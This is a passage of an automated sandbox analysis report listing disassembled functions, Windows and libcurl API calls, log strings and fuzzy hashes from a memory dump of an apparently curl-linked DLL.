Instruction Fuzzy Hash: B841C675944248AAEB11DB74CC01FEA77B89F06608F0448E6F959DB242E73AE607CB71

Function 6B8E1650 Relevance: 6.2, APIs: 4, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_multi_remove_handle.LIBCURL(?), ref: 6B8E1681
curl_multi_cleanup.LIBCURL(?), ref: 6B8E1691
curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B8E1904

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_multi_cleanupcurl_multi_remove_handlecurl_slist_free_all
String ID:
API String ID: 3107128920-0
Opcode ID: cad139307954d22f42981d7fa00797b7cfdca1df46f941657f90c769d66201b6
Instruction ID: 2314a1c1e53a9bda98c212f70212f50dc1bb9e6455883eabd88c217f9d1f9a3a
Opcode Fuzzy Hash: cad139307954d22f42981d7fa00797b7cfdca1df46f941657f90c769d66201b6
Instruction Fuzzy Hash: 14612D79004B60EBEB215FB4D909BC6BBE5BF07309F404C59E5AA92260C7B9A054CB75

Function 6B92F692 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,?,00000000,6B921F4E,6B928951,6B928465,?,00000000), ref: 6B92F697
_free.LIBCMT ref: 6B92F6F4
_free.LIBCMT ref: 6B92F72A
SetLastError.KERNEL32(00000000,00000015,000000FF,?,?,?,?,?,?,?,?,6B928987,00000000,?,?,0000000A), ref: 6B92F735

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cf8ca2a50ec91477e0fc098017f01273862a147ea347ff99d34e5a6010446a6e
Instruction ID: 0e0dcfd8c7d58ef51669b544f32f7bb77f34d8cf1235bd20a000a917d7ed891f
Opcode Fuzzy Hash: cf8ca2a50ec91477e0fc098017f01273862a147ea347ff99d34e5a6010446a6e
Instruction Fuzzy Hash: 3A11CE36E685053ADB0116788D96F2A336EDBE67BCB200234F528921E8EB39C8064660

Function 6B8F83D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6B8D14E0: EnterCriticalSection.KERNEL32(?,?,00000000,?,?,?,6B8E1C62,?,00000000), ref: 6B8D15E0
Part of subcall function 6B8D14E0: LeaveCriticalSection.KERNEL32(?,?,?,6B8E1C62,?,00000000), ref: 6B8D15F3
Part of subcall function 6B8D14E0: closesocket.WS2_32(000006FC), ref: 6B8D1642

curl_msnprintf.LIBCURL(?,00000100,Connection #%ld to host %s left intact,?,?), ref: 6B8F8690

Strings

%s, xrefs: 6B8F86CD
Connection #%ld to host %s left intact, xrefs: 6B8F8685

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CriticalSection$EnterLeaveclosesocketcurl_msnprintf
String ID: %s$Connection #%ld to host %s left intact
API String ID: 283241466-118628944
Opcode ID: b6d415b2ec1963aacd64270e08bf56d89a1e5894fce04f4dce2fcb74518963ff
Instruction ID: 10319204d4a33f693b2333ab0764f673ca5b6c7c29237c6c178decdd6b35a0c7
Opcode Fuzzy Hash: b6d415b2ec1963aacd64270e08bf56d89a1e5894fce04f4dce2fcb74518963ff
Instruction Fuzzy Hash: DEA13870600B04EFDB218F75CC49BDAB7E8BF06348F0009A9E86957291DB7CA595CFA1

Function 6B8E84A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_pton.WS2_32(00000002,00000000,?), ref: 6B8E8590
inet_pton.WS2_32(00000017,00000000,?), ref: 6B8E85C0

Strings

Hostname %s was found in DNS cache, xrefs: 6B8E850A

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: inet_pton
String ID: Hostname %s was found in DNS cache
API String ID: 1350483568-2672672863
Opcode ID: 6bf5544faa7be49911fb875d4e92e1801faeca3ab78285083607480dd6a16c36
Instruction ID: 0a6e23b2ccf60b4830ab23bb86728379e1faea61f08bdee902f993f1823e5408
Opcode Fuzzy Hash: 6bf5544faa7be49911fb875d4e92e1801faeca3ab78285083607480dd6a16c36
Instruction Fuzzy Hash: C761F471D00219ABDB118FB4DC46BEFBBB8AF06318F000569E91477291E7399A56CBF1

Function 6B8D2A60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8D2B71
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8D2BA0

Strings

Connection time-out, xrefs: 6B8D2C83

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: Connection time-out
API String ID: 885266447-165637984
Opcode ID: d71c490874930c85ed237f0f341cbe95dda15b0d28c68d1aa5859bc7cab1c224
Instruction ID: 3c370d83fd4a684f8d9c5e1872114f6b3a31e78d75a2ef39d15dbb722c0cbfc7
Opcode Fuzzy Hash: d71c490874930c85ed237f0f341cbe95dda15b0d28c68d1aa5859bc7cab1c224
Instruction Fuzzy Hash: 67718E71E00615DFDB14CF68C841BAAB7B5FF84314F148ABAD818AB351E77A9D42CB80

Function 6B8E1930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

User-Agent: %s, xrefs: 6B8E1A47
Connected to %s (%s) port %ld (#%ld), xrefs: 6B8E1B72

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_multi_cleanupcurl_multi_remove_handlecurl_slist_free_all
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 3107128920-3248832348
Opcode ID: 61a75b0d45157d91d6f337a739ec1cea5752649828c84ca23b91465bc5fe41bc
Instruction ID: fcf6d59e8aa25f08cf3e561235f9e1eca7b0624d857a051e7068fd69aa04a689
Opcode Fuzzy Hash: 61a75b0d45157d91d6f337a739ec1cea5752649828c84ca23b91465bc5fe41bc
Instruction Fuzzy Hash: 37714A75A00754ABD7119F38CC41BD6B7E9FF82318F040DA9E96C87282E779A255CBB0

Function 6B8E26A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(User-Agent: %s), ref: 6B8E270E

Strings

User-Agent: %s, xrefs: 6B8E2709
Connected to %s (%s) port %ld (#%ld), xrefs: 6B8E2828

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 3307269620-3248832348
Opcode ID: 142483f005b42d7e7bcf81e2200eb4a61798e80d73aef8555d8eb047d1776434
Instruction ID: a2b964f3fbce0f02d16541a8d29aff561bacbb66fc94a6f82ff5b6f7c4038ab3
Opcode Fuzzy Hash: 142483f005b42d7e7bcf81e2200eb4a61798e80d73aef8555d8eb047d1776434
Instruction Fuzzy Hash: BB41F875904B459BE721CF38DC44BE3B7E8BF46308F040A9DE4A947182E7796255CBA1

Function 6B8D6E10 Relevance: 4.6, APIs: 3, Instructions: 146networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?,6B93B330), ref: 6B8D6E2E
freeaddrinfo.WS2_32(6B93B330,?,?,6B93B330,?), ref: 6B8D6F4C
WSASetLastError.WS2_32(00002AF9,?,?,6B93B330,?), ref: 6B8D6F99

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfo
String ID:
API String ID: 1817844550-0
Opcode ID: b97332d71e9d8e54b95ab218d7a12c918dce4fccc2bfd2bb7911326389864dbe
Instruction ID: d6412b3b00ca99c8d8ddeee7ab2c0b5e4ce957faf69e1f04165c22f038219a63
Opcode Fuzzy Hash: b97332d71e9d8e54b95ab218d7a12c918dce4fccc2bfd2bb7911326389864dbe
Instruction Fuzzy Hash: 7651ADB2E04B1AAFDB10CFA9D580A5AB7F5FF49710B1089AEE85897300D734E914CBD0

Function 6B928360 Relevance: 4.6, APIs: 3, Instructions: 51threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(6B8D16D0,6B8D1218,6B928204,00000000,00000000,6B8D16D0), ref: 6B9283A9
GetLastError.KERNEL32(?,?,?,6B8D9136,00000000,00000000,6B8D16D0,6B8D1218,00000000,00000000), ref: 6B9283B5
__dosmaperr.LIBCMT ref: 6B9283BC

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 4d9817330570502d4bab6877b55cc5a7114993e527ddaa970af84ab7b78e0130
Instruction ID: 197d18d0a7acf052301a8835bd6166b701a9776a459c10a7cc75bc335582303f
Opcode Fuzzy Hash: 4d9817330570502d4bab6877b55cc5a7114993e527ddaa970af84ab7b78e0130
Instruction Fuzzy Hash: C6018C32D24219ABDF099FA1CC45A9E7BA8EF05368F008058B81196148DB79DA10DBA0

Function 6B8D4740 Relevance: 4.5, APIs: 3, Instructions: 36networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(00000000,00000000), ref: 6B8D4758
getsockopt.WS2_32(00000004,0000FFFF,00001007,00000000,00000004), ref: 6B8D4773
WSAGetLastError.WS2_32 ref: 6B8D477D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: dd4f2775c96d2b85f7e996ae0d1a66d987b80ffdafc1ff7c090d34b43f4708e4
Instruction ID: 2abf33cda3d0e3e4d2b68bcd0d7d5c223ffff1e7834827287f73122ec62a870d
Opcode Fuzzy Hash: dd4f2775c96d2b85f7e996ae0d1a66d987b80ffdafc1ff7c090d34b43f4708e4
Instruction Fuzzy Hash: F2F0967464410DFBEF109FA1C8457AE7BBCBB43701F2045A5EA189B2C0D775D5058B50

Function 6B8D1050 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,00000000,00000048), ref: 6B8D115D

Strings

getaddrinfo() thread failed to start, xrefs: 6B8D11AA

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: getaddrinfo() thread failed to start
API String ID: 32694325-737161664
Opcode ID: e5015b711fc6315620fbbefa526a4a7ab979c6ba36a6bf1a55a7005000db5d53
Instruction ID: f6f40dd5851d1008344ac2dbdbd3b6c388aab142d9efd0f7abf7e1e9182b447c
Opcode Fuzzy Hash: e5015b711fc6315620fbbefa526a4a7ab979c6ba36a6bf1a55a7005000db5d53
Instruction Fuzzy Hash: 3D51D371D44226EBDB009F79DC457997BB0FF06318F004676EE089B281EB79E594CBA1

Function 6B9007E0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000008,?,?,00000000), ref: 6B9007EE
WSAGetLastError.WS2_32(?,6B90737C,?,?,00000008,?), ref: 6B9007FB

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 74b812f2b3c66a95e508cf721b43fa6d20526a540c4c1e6bdcca4273caabfe04
Instruction ID: f99987875b5c3d63829c3feb53c30a93e36f48e8f02e827ed96d4670275ce296
Opcode Fuzzy Hash: 74b812f2b3c66a95e508cf721b43fa6d20526a540c4c1e6bdcca4273caabfe04
Instruction Fuzzy Hash: 16E0E53520820CAFDF059F60D85579E3BAAEF45324F504668F9198A2D0CA76D8619B54

Function 6B8F6DA0 Relevance: 1.6, APIs: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 6B8F6E4D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CreateEvent
String ID:
API String ID: 2692171526-0
Opcode ID: 135e40721cc340b4567a099b869d8ea7aa86c40cee416c92410130c9293bfec1
Instruction ID: e60a3ece564e2c1e0c197a8964b9c311bc2ac5f47735c5dd2dab379b8153853e
Opcode Fuzzy Hash: 135e40721cc340b4567a099b869d8ea7aa86c40cee416c92410130c9293bfec1
Instruction Fuzzy Hash: 8D21D87690071466DB20ABB9DC06F8B77ED9F01798F000D6AE959D7141E73EF1058771

Function 6B8F7990 Relevance: 1.6, APIs: 1, Instructions: 79networkCOMMON

Download Yara Rule

APIs

WSACloseEvent.WS2_32(50000000), ref: 6B8F7A66

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CloseEvent
String ID:
API String ID: 2624557715-0
Opcode ID: d9233ddd1e417b1a271e5f4ed3cdb284a44c503a1524aabce2a6069fcf0404c3
Instruction ID: 8cff917480396f58038cbd052b9709559e3f2ae2fbdfb340f0e423f778a05ea3
Opcode Fuzzy Hash: d9233ddd1e417b1a271e5f4ed3cdb284a44c503a1524aabce2a6069fcf0404c3
Instruction Fuzzy Hash: 4621257A9006109BFB219F74DC85F8A77ECEF01358F0408A9E9185B142C77EE546C7B1

Function 6B8D2370 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

curl_easy_init.LIBCURL(00000044,00000000,?,6B8F6E06,00000078,?,?,?,?,?,?,?), ref: 6B8D2375

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_easy_init
String ID:
API String ID: 4195830768-0
Opcode ID: 79ba0a1891940e68c7f58331b030faa22a9456d966015cc8b81074a52211524a
Instruction ID: c2698b00753f7c2182097b87b2f9ea714753ea2d6f9ee2f28d46dc2c47114f88
Opcode Fuzzy Hash: 79ba0a1891940e68c7f58331b030faa22a9456d966015cc8b81074a52211524a
Instruction Fuzzy Hash: C2F0903A3002146BD6005EADFC80AEAB798FB81178B000977FA0C87601D369E51242F0

Function 6B92F78D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000364,00000000,?,6B92F6DD,00000001,00000364,00000015,000000FF), ref: 6B92F7CE

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 64dd5336a5a7eddd13845f88df0eb54ca95da947de1399df28c10b995167f299
Instruction ID: 2bc03ca940c5a351a3971eb97d1e7106e91939a866c5d6423048f4741606544f
Opcode Fuzzy Hash: 64dd5336a5a7eddd13845f88df0eb54ca95da947de1399df28c10b995167f299
Instruction Fuzzy Hash: 74F05932E2953467FB102E328C01B4E374CBF42B6CF114062EC24D6AA8DB7CD80046A1

Function 6B930EBD Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6B933F01,00000220,?,?,00000000,?,?,?,6B9284AA,6B928987,00000000,?), ref: 6B930EEF

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 09b25eb73e67be761e424006ab9a08ff51d2fe8cc25f0b675ed558441cd6816c
Instruction ID: da6e8a69bb2a8675382822d68ed6efe1c8e249ccdfe5d236578a6f52fe3605e5
Opcode Fuzzy Hash: 09b25eb73e67be761e424006ab9a08ff51d2fe8cc25f0b675ed558441cd6816c
Instruction Fuzzy Hash: 69E0ED31389236A7EB301A7A8C01B4B7F4CEF827A4F1200A0ECA4A6580DB2CC80082A1

Function 6B8E8A20 Relevance: 1.5, APIs: 1, Instructions: 26networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 6B8E8A3D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 938cabb624811b6db587dddf29feb8f1134c307646042e0c026b5f9ba7c5476d
Instruction ID: 65b93bd4ddbf9b805a15647eed2efe4b11c41f9f85fc6fe5abe175650aacf2f9
Opcode Fuzzy Hash: 938cabb624811b6db587dddf29feb8f1134c307646042e0c026b5f9ba7c5476d
Instruction Fuzzy Hash: EDE086343883446AE9005A68EC46FE837A84B06725F4046E1F52C9F6E1C365E842A621

Function 6B92F3D6 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F40D
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F419
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F424
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F42F
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F43A
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F445
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F450
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F45B
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F466
Part of subcall function 6B92F3F7: _free.LIBCMT ref: 6B92F474

_free.LIBCMT ref: 6B92F3EC

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fea6b7e79df37b2ffaf56218ff71ab444ebea1fe4eac95b0eebf2ed6cec7a598
Instruction ID: 14d0f4fd1361c9aedcf0398ec75e5a8979fdf31a13d9b9dacc0b7a9b1baa634e
